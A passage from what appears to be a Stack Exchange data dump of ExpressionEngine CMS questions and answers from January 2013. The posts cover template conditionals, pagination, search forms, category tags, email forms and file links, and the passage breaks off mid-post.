  <row Id="5254" PostTypeId="1" AcceptedAnswerId="5255" CreationDate="2013-01-22T23:19:40.767" Score="2" ViewCount="90" Body="&lt;p&gt;Recent conundrum. Building a site that will only ever show 1 entry at a time on the homepage. I want to be able to show prev/next entry links but can only do that on an entry level template (site/my-url-title).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could probably use Structure but would rather not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a good example of what I'm trying to achieve &lt;a href=&quot;http://thegreatdiscontent.com/&quot; rel=&quot;nofollow&quot;&gt;http://thegreatdiscontent.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-22T23:25:45.833" Title="prev/next entry linking on site index" Tags="|entry|next-prev|links|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5255" PostTypeId="2" ParentId="5254" CreationDate="2013-01-22T23:22:52.603" Score="1" Body="&lt;p&gt;Seems like &lt;a href=&quot;http://devot-ee.com/add-ons/next-previous-links-anywhere&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/next-previous-links-anywhere&lt;/a&gt; will allow me to dump tags into my channel entries tag.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-22T23:22:52.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5256" PostTypeId="2" ParentId="5254" CreationDate="2013-01-22T23:25:45.833" Score="3" Body="&lt;p&gt;I do this over at &lt;a href=&quot;http://5secondfilms.com&quot; rel=&quot;nofollow&quot;&gt;5secondfilms.com&lt;/a&gt;... we only have one entry on the homepage, but still have the left/right arrows. I'm doing it the standard pagination function inside the exp:weblog:entries tag. Since only one entry per page is being displayed, pagination should always just move one entry over. Don't think any other plugin should be necessary.&lt;/p&gt;&#xA;" OwnerUserId="876" LastActivityDate="2013-01-22T23:25:45.833" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5257" PostTypeId="1" CreationDate="2013-01-22T23:45:04.280" Score="5" ViewCount="129" Body="&lt;p&gt;Although I can no longer find the reference on the ExpressionEngine forums, I was advised several years ago by Ellislab staff to use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if my_custom_field != &quot;&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;rather than:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if my_custom_field}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This has worked well up until now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After upgrading to ExpressionEngine 2.5.5 from 2.5.2, some of my conditional logic now does not work as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, results that used to correctly return nothing, now return '0' (zero).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, either of the following would return nothing in 2.5.2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if my_custom_field != &quot;&quot;}&#xA;    {my_custom_field}&#xA;{/if}&#xA;{if &quot;{my_custom_field}&quot; != &quot;&quot;}&#xA;    {my_custom_field}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, now they return '0', which obviously breaks things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to return nothing in ExpressionEngine 2.5.5, I need to do this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if my_custom_field}&#xA;    {my_custom_field}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this behaviour is the new norm, I will need to change all my templates, which will suck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone confirm this behaviour on their 2.5.5 install, and know if this is the new norm?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="291" LastActivityDate="2013-01-24T17:56:00.360" Title="Has conditional logic changed in ExpressionEngine 2.5.5?" Tags="|conditionals|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5258" PostTypeId="2" ParentId="5074" CreationDate="2013-01-23T00:01:36.207" Score="1" Body="&lt;p&gt;There isn't any way to customize how the price modifiers work. Generally modifiers can only add or subtract the price, not multiply or use any other formula (because is leads to issues in which order the modifiers are applied, among other reasons).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often the solution to this is to simply &quot;flatten&quot; your modifiers into a single select/radio menu, for example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Paper (10 x 10) - $1&lt;/li&gt;&#xA;&lt;li&gt;Paper (10 x 10) - $2&lt;/li&gt;&#xA;&lt;li&gt;Cardboard (10 x 10) - $5&lt;/li&gt;&#xA;&lt;li&gt;Cardboard (20 x 20) - $20&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another option would be to write a PHP extension using the &lt;code&gt;store_cart_item_update_end&lt;/code&gt; hook, which allows you to change the price of items in the cart based on any criteria you need (for example, you can let users enter custom dimensions, then change the price of the item based on the dimensions entered).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-01-23T00:01:36.207" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5259" PostTypeId="1" AcceptedAnswerId="5260" CreationDate="2013-01-23T00:01:42.743" Score="1" ViewCount="66" Body="&lt;p&gt;I am currently using MediaWiki on my current site. On my new site I will be using ExpressionEngine and was wondering if there was an easy way to import data over to the Wiki Module &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/wiki/index.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/wiki/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I pursue importing data from MediaWiki to the Wiki module in EE?&lt;/p&gt;&#xA;" OwnerUserId="830" LastActivityDate="2013-01-23T00:34:46.137" Title="Importing Data from MediaWiki to Wiki Module" Tags="|import|wiki|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5260" PostTypeId="2" ParentId="5259" CreationDate="2013-01-23T00:34:46.137" Score="2" Body="&lt;p&gt;There is no easy way.  It is an involved data migration that you'd have to handle custom, unfortunately.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-01-23T00:34:46.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5261" PostTypeId="2" ParentId="5252" CreationDate="2013-01-23T01:09:08.187" Score="1" Body="&lt;p&gt;Make sure &lt;code&gt;AllowOverride All&lt;/code&gt; is in the httpd.conf or httpd-vhosts.conf file as per this &lt;a href=&quot;https://stackoverflow.com/a/11906830/135935&quot;&gt;answer on StackOverflow&lt;/a&gt;. You'll need to restart Apache after you make the change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may be able to add &lt;code&gt;AllowOverride All&lt;/code&gt; at the top of your htaccess file too.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-01-23T01:09:08.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5262" PostTypeId="2" ParentId="5253" CreationDate="2013-01-23T01:28:49.180" Score="1" Body="&lt;p&gt;Are you asking if you can use the path variable to automate linking to other sites in your MSM install? If so then I think the answer is no.  You could always create global variables to avoid manually typing the host information if you wanted.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2013-01-23T01:28:49.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5264" PostTypeId="1" AcceptedAnswerId="5334" CreationDate="2013-01-23T03:57:21.060" Score="2" ViewCount="152" Body="&lt;p&gt;I have this form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form collection=&quot;foo&quot; query=&quot;{segment_2}&quot; secure=&quot;no&quot; search_mode=&quot;any&quot; loose_ends=&quot;yes&quot; result_page=&quot;test/&quot;}&#xA;&#xA;&amp;lt;label for=&quot;foo_gender&quot;&amp;gt;Gender:&amp;lt;/label&amp;gt;     &#xA;&amp;lt;select class=&quot;span12&quot; name=&quot;search:foo_gender[]&quot; id=&quot;foo_gender&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;    &amp;lt;option&amp;gt;&amp;lt;/option&amp;gt;&#xA;    {exp:channel:entries channel=&quot;genders&quot; orderby=&quot;entry_id&quot; sort=&quot;asc&quot;}&#xA;        &amp;lt;option value=&quot;={gender}&quot;&amp;gt;{gender}&amp;lt;/option&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;&amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the database I have 3 entries&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Entry 1, foo_gender = Male&#xA; Entry 2, foo_gender = Female&#xA; Entry 3, foo_gender = Transgender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried selecting entry 1 and 2 and submit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got only 1 entry from the result, entry 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That search form was supposed to be returning 2 entries, entry 1 and 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this the case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output of {low_search_search:foo_gender[]} was &quot;=Male|=Female&quot;&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-02-07T15:12:34.177" Title="Low Search - Multiple Select Problem" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5265" PostTypeId="2" ParentId="5208" CreationDate="2013-01-23T03:59:41.667" Score="0" Body="&lt;p&gt;Try using &lt;a href=&quot;http://help.mandrill.com/entries/21738477-what-smtp-ports-can-i-use&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;port 587&lt;/strong&gt;&lt;/a&gt; instead of port 25.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And check phpinfo() to see if any socket functions are disabled or you contact your host. They may have writing disabled as &lt;a href=&quot;https://stackoverflow.com/a/6469824/135935&quot;&gt;&lt;strong&gt;per this answer&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-01-23T04:10:58.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5266" PostTypeId="1" AcceptedAnswerId="5281" CreationDate="2013-01-23T05:13:03.173" Score="1" ViewCount="452" Body="&lt;p&gt;I'm putting together a membership website wherein the members of the site can send an email to each other via an email form presented to them in the front end. The email will go to their email's inbox -- not anywhere in EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the template, I have access to the sender and receiver's email addresses. I have the form ready. When the user clicks the &quot;Send&quot; button -- what should I do next? Is there a native EE way to do this? Or a free add-on that is reliable?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-01-23T13:06:48.067" Title="Frontend: Sending Emails" Tags="|email|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5267" PostTypeId="2" ParentId="5266" CreationDate="2013-01-23T06:50:51.240" Score="2" Body="&lt;p&gt;Sounds like you could probably use the native Tell-A-Friend Form tag. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/email/tellafriend.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/email/tellafriend.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="306" LastActivityDate="2013-01-23T06:50:51.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5268" PostTypeId="1" CreationDate="2013-01-23T06:56:54.153" Score="1" ViewCount="294" Body="&lt;p&gt;I'm trying to create a link on my webpage to a file on my C: drive, but for some reason ExpressionEngine switches my backslashes into forward slashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example &amp;lt; a href=&quot;file:\\C\data\text.doc&quot; &gt; will be turned into &amp;lt; a href=&quot;file://C/data/text.doc&quot; &gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And therefore the link doesn't work. What to to?&lt;/p&gt;&#xA;" OwnerUserId="878" LastActivityDate="2013-01-23T12:49:24.810" Title="How to create a link to my C: drive in ExpressionEngine 1.6.4" Tags="|server|links|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5269" PostTypeId="1" AcceptedAnswerId="5278" CreationDate="2013-01-23T07:30:17.267" Score="0" ViewCount="60" Body="&lt;p&gt;I have many pages that use this tag but on one of them I am getting a white screen/server error. This page happens to be one that has the most entries that use the snippet. When I remove the snippet the page loads as expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My server has 700M of memory allocated. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {categories}                &#xA;        {exp:switchee variable = &quot;{category_id}&quot; parse=&quot;inward&quot;}                        &#xA;            {case value=&quot;2&quot;}&#xA;            &amp;lt;a href=&quot;{site_url}dining/category/{category_url_title}&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;category-icons&quot; rel=&quot;tooltip&quot; title=&quot;{category_name}&quot;&amp;gt;&#xA;                &amp;lt;i class=&quot;icon-restaurant&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/a&amp;gt;    &#xA;            {/case}             &#xA;            {case value=&quot;38&quot;}&#xA;            &amp;lt;a href=&quot;{site_url}nightlife/category/{category_url_title}&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;category-icons&quot; rel=&quot;tooltip&quot; title=&quot;{category_name}&quot;&amp;gt;&#xA;                &amp;lt;i class=&quot;icon-bar&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;            {/case}             &#xA;            {case value=&quot;4&quot;}&#xA;            &amp;lt;a href=&quot;{site_url}arts-culture/category/{category_url_title}&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;category-icons&quot; rel=&quot;tooltip&quot; title=&quot;{category_name}&quot;&amp;gt;&#xA;                &amp;lt;i class=&quot;icon-art&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;            {/case}                     &#xA;            {case value=&quot;36&quot;}&#xA;            &amp;lt;a href=&quot;{site_url}nightlife/category/{category_url_title}&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;category-icons&quot; rel=&quot;tooltip&quot; title=&quot;{category_name}&quot;&amp;gt;&#xA;                &amp;lt;i class=&quot;icon-brewery&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;            {/case}             &#xA;            {case value=&quot;1&quot;}&#xA;            &amp;lt;a href=&quot;{site_url}shopping/category/{category_url_title}&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;category-icons&quot; rel=&quot;tooltip&quot; title=&quot;{category_name}&quot;&amp;gt;&#xA;                &amp;lt;i class=&quot;icon-retail&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;            {/case}             &#xA;            {case value=&quot;7&quot;}&#xA;            &amp;lt;a href=&quot;{site_url}shopping/category/{category_url_title}&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;category-icons&quot; rel=&quot;tooltip&quot; title=&quot;{category_name}&quot;&amp;gt;&#xA;                &amp;lt;i class=&quot;icon-service&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;            {/case}                     &#xA;            {case value=&quot;3&quot;}&#xA;            &amp;lt;a href=&quot;{site_url}dining/category/{category_url_title}&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;category-icons&quot; rel=&quot;tooltip&quot; title=&quot;Coffee-Bakery&quot;&amp;gt;&#xA;                &amp;lt;i class=&quot;icon-coffee&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;            {/case}         &#xA;&#xA;            {case value=&quot;11&quot;}&#xA;            &amp;lt;a href=&quot;{site_url}arts-culture/category/{category_url_title}&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;category-icons&quot; rel=&quot;tooltip&quot; title=&quot;{category_name}&quot;&amp;gt;&#xA;                &amp;lt;i class=&quot;icon-community&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;            {/case}         &#xA;        {/exp:switchee}&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Is the code just THAT inefficient?&lt;/p&gt;&#xA;" OwnerUserId="4" LastEditorUserId="4" LastEditDate="2013-01-23T17:29:46.307" LastActivityDate="2013-01-23T17:29:46.307" Title="Categories tag causing memory issues?" Tags="|categories|white-screen-of-death|memory-limit|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5270" PostTypeId="1" AcceptedAnswerId="5277" CreationDate="2013-01-23T08:24:23.940" Score="0" ViewCount="59" Body="&lt;p&gt;This is somewhat a follow on question to &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5049/grouping-channel-fields&quot;&gt;Grouping Channel Fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I have a checkbox field that has 100 options. I'd like to show about 20 options only when in a certain tab, then the complete 100 when in a different tab. Basically, the 20 options are the most common choices. Having the 100 options fully displayed in another tab gives the user the option to select the not so common choices, if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way to do this (or something like this)? It wont be good if I show 100 options -- especially since I have several checkbox fields like this.&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-01-23T12:18:25.767" Title="Partially Displaying Checkbox Options Based on Tab" Tags="|channel-entries|control-panel|fieldtype|entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5272" PostTypeId="1" AcceptedAnswerId="5329" CreationDate="2013-01-23T09:52:08.377" Score="2" ViewCount="338" Body="&lt;p&gt;Through Google webmaster tools i noticed many crawl errors.&#xA;However none of the url's exists anymore but are still linked somewhere in other pages.&#xA;If i surf to such url i get &quot;Invalid GET Data&quot; &#xA;An example of such url is: &#xA;&lt;a href=&quot;http://www.mysite.com/normal?destination=catalogus%3Fpage%3D60&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite.com/normal?destination=catalogus%3Fpage%3D60&lt;/a&gt;&#xA;http://www.mystie.com/normal?destination=catalogus%3Fpage%3D26%26cat%3Dhom%25E2%258A%2582%253D1%26pag%3D1%26afb%3D1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way i can redirect such url's automaticly via htaccess&#xA;or should i remove this manually which they are a lot...&lt;/p&gt;&#xA;" OwnerUserId="879" LastEditorUserId="150" LastEditDate="2013-01-24T06:43:35.740" LastActivityDate="2013-01-24T06:43:35.740" Title="Redirect/prevent webmaster tools crawl errors using htacces?" Tags="|htaccess|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5273" PostTypeId="2" ParentId="5248" CreationDate="2013-01-23T09:59:16.227" Score="3" Body="&lt;p&gt;DataGrab will import to entries. Typically it will import each row as a new entry but there might be a way around that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can email me at support@brandnewbox.co.uk with an example of what you are trying to do I'll see if I can help you set up DataGrab.&lt;/p&gt;&#xA;" OwnerUserId="253" LastActivityDate="2013-01-23T09:59:16.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5274" PostTypeId="2" ParentId="5236" CreationDate="2013-01-23T11:12:23.947" Score="0" Body="&lt;p&gt;I experienced the same problem and it was related to the .htaccess file. That would be the place to investigate. &lt;/p&gt;&#xA;" OwnerUserId="865" LastActivityDate="2013-01-23T11:12:23.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5275" PostTypeId="1" CreationDate="2013-01-23T11:24:46.670" Score="1" ViewCount="215" Body="&lt;p&gt;Is it possible to make a search on only subpages from the top segment? Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The user is on www.example.com/products/product-title/ and do a search on this site&lt;br /&gt;&#xA;2) The search results displays children of their top parent, /products&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why I want this is because I have several sections of the site that has been build up with exactly the same channels and structure. In other words, www.example.com/products/ and www.example.com/about/ is build up the same way, just with different content, and when I'm in &quot;about&quot; I only want to search articles that belong to that parent.&lt;/p&gt;&#xA;" OwnerUserId="870" LastActivityDate="2013-01-23T13:42:36.163" Title="Search results based on segment / Structure top parent" Tags="|structure|low-search|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5276" PostTypeId="1" AcceptedAnswerId="5392" CreationDate="2013-01-23T11:36:11.973" Score="1" ViewCount="436" Body="&lt;p&gt;I am trying to create a button which inserts custom HTML into a rich text area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have added the button, and triggered an alert:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return &quot;&#xA;    WysiHat.addButton('insert_slide_show', {&#xA;        label:         EE.rte.insert_slide_show.label,&#xA;        handler: function(editor)&#xA;        {&#xA;            alert(&quot;hello&quot;); &#xA;        }&#xA;    });&#xA;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried inner html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;this.innerHTML(&quot;&amp;lt;p&amp;gt;something&amp;lt;/p&amp;gt;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and jQuery html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;this.html(&quot;&amp;lt;p&amp;gt;something&amp;lt;/p&amp;gt;&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;both of which seem to submit the page, i suspect this is due to an error with the html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also looked threw the documents on this and still have no clue, any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in summery I'm looking to insert custom html into a rich text area on a button click, using a custom rte button.&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-01-25T09:35:15.023" Title="Inserting HTML into a text area using WysiHat and a custom rte button" Tags="|rte|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5277" PostTypeId="2" ParentId="5270" CreationDate="2013-01-23T12:18:25.767" Score="4" Body="&lt;p&gt;Fields are generally not interlinked and, to be honest, the workflow you're describing doesn't sound ideal anyway. If you're getting to the point where you have so many options to select from that the UI is getting unwieldy then, rather than splitting the data into different sets, I'd have thought the best approach would be to switch to a revised UI that lets users more easily filter through available options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://harvesthq.github.com/chosen/&quot; rel=&quot;nofollow&quot;&gt;Chosen&lt;/a&gt; JS plugin is excellent for this sort of thing - take a look at the Multiple Select UI. I've only ever used it on the frontend but there is a free &lt;a href=&quot;http://devot-ee.com/add-ons/chosen-selects&quot; rel=&quot;nofollow&quot;&gt;Chosen Selects&lt;/a&gt; EE fieldtype which you might want to try out.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-01-23T12:18:25.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5278" PostTypeId="2" ParentId="5269" CreationDate="2013-01-23T12:25:16.763" Score="1" Body="&lt;p&gt;Could you not just use something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories show=&quot;1|2|3|4|7|11|36|38&quot;}&#xA;     &amp;lt;a href=&quot;{site_url}shopping/category/{category_url_title}&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;category-icons&quot; rel=&quot;tooltip&quot; title=&quot;{category_name}&quot;&amp;gt;&#xA;        &amp;lt;i class=&quot;icon-{category_name}&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;     &amp;lt;/a&amp;gt;&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can tell &lt;code&gt;{categories}&lt;/code&gt; which categories you want to display. Then if you match image names with category names, you can use that to control, which &lt;code&gt;icon&lt;/code&gt; class you call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These parameters are available for the &lt;code&gt;{categories}&lt;/code&gt; : &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#variable-pairs&quot; rel=&quot;nofollow&quot;&gt;backspace=, limit=, show=, show_group=,&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-23T12:25:16.763" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5279" PostTypeId="2" ParentId="5268" CreationDate="2013-01-23T12:49:24.810" Score="2" Body="&lt;p&gt;Even for an intranet, you want the files to reference the internet domain, such as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://office.mydomain.org&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can upload files from the C: drive, but Adrian mention ExpressionEngine and probably every content management system (CMS) will expect the files to be stored in the &lt;code&gt;web area&lt;/code&gt; of your machine. Pointing to the generic C: drive, is pretty much like saying, these files are located on &lt;strong&gt;every employee's computer&lt;/strong&gt; who attempt to use them. The C:drive is local machine reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to reference the server. This can be done by IP address, as well, but is best done by a domain name, even if its internal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your website is hosted elsewhere from the intranet, just call your ISP, and ask them to point a subdomain, to the IP address of the machine you are using for the intranet. Anything like, office., staff., internal., in front of your current domain name should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just place the files in a folder, within the web server area. So if your structure was like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public_html&#xA;-- /system/&#xA;-- /images/&#xA;-- /themes/&#xA;-- /files/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reference to the files will then become:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://office.mydomain.org/files/{file_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or you can use the reference, just &lt;code&gt;/files/{file_name}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have lots of files, I also recommend grouping them under the &lt;code&gt;files&lt;/code&gt; or &lt;code&gt;downloads&lt;/code&gt; folder. Just create sub-folders. This will make uploading files using the file manager or something like &lt;a href=&quot;http://pixelandtonic.com/assets&quot; rel=&quot;nofollow&quot;&gt;'Assets'&lt;/a&gt; by Pixel &amp;amp; Tonic easier, when they don't have to try to display 1000s of files at a time.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-23T12:49:24.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5280" PostTypeId="1" AcceptedAnswerId="5282" CreationDate="2013-01-23T13:04:06.733" Score="1" ViewCount="232" Body="&lt;p&gt;How to get and output entries like this ( &lt;a href=&quot;http://europe.msteched.com/Agenda&quot; rel=&quot;nofollow&quot;&gt;example event Agenda&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;day01 &lt;/li&gt;&#xA;&lt;li&gt;—session time-span ( loops session timespan entries )&lt;/li&gt;&#xA;&lt;li&gt;——session span entrie(s) ( one or multiple )&lt;/li&gt;&#xA;&lt;li&gt;——session span entries ( one or multiple )&lt;/li&gt;&#xA;&lt;li&gt;——session span entries ( one or multiple )&lt;/li&gt;&#xA;&lt;li&gt;—/session time-span&lt;/li&gt;&#xA;&lt;li&gt;—session time-span&lt;/li&gt;&#xA;&lt;li&gt;——session span entries ( one or multiple )&lt;/li&gt;&#xA;&lt;li&gt;—/session time-span&lt;/li&gt;&#xA;&lt;li&gt;/day01&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;-day02 ........&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has input on how to do something like this &#xA;( still having the template readable :) )  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be very thankful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit : my template ended up looking like this .. added storing a lastday variable to get days in the loop .. ( perhaps it can be done even better - but it works like a charm thanks for the input guys )&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  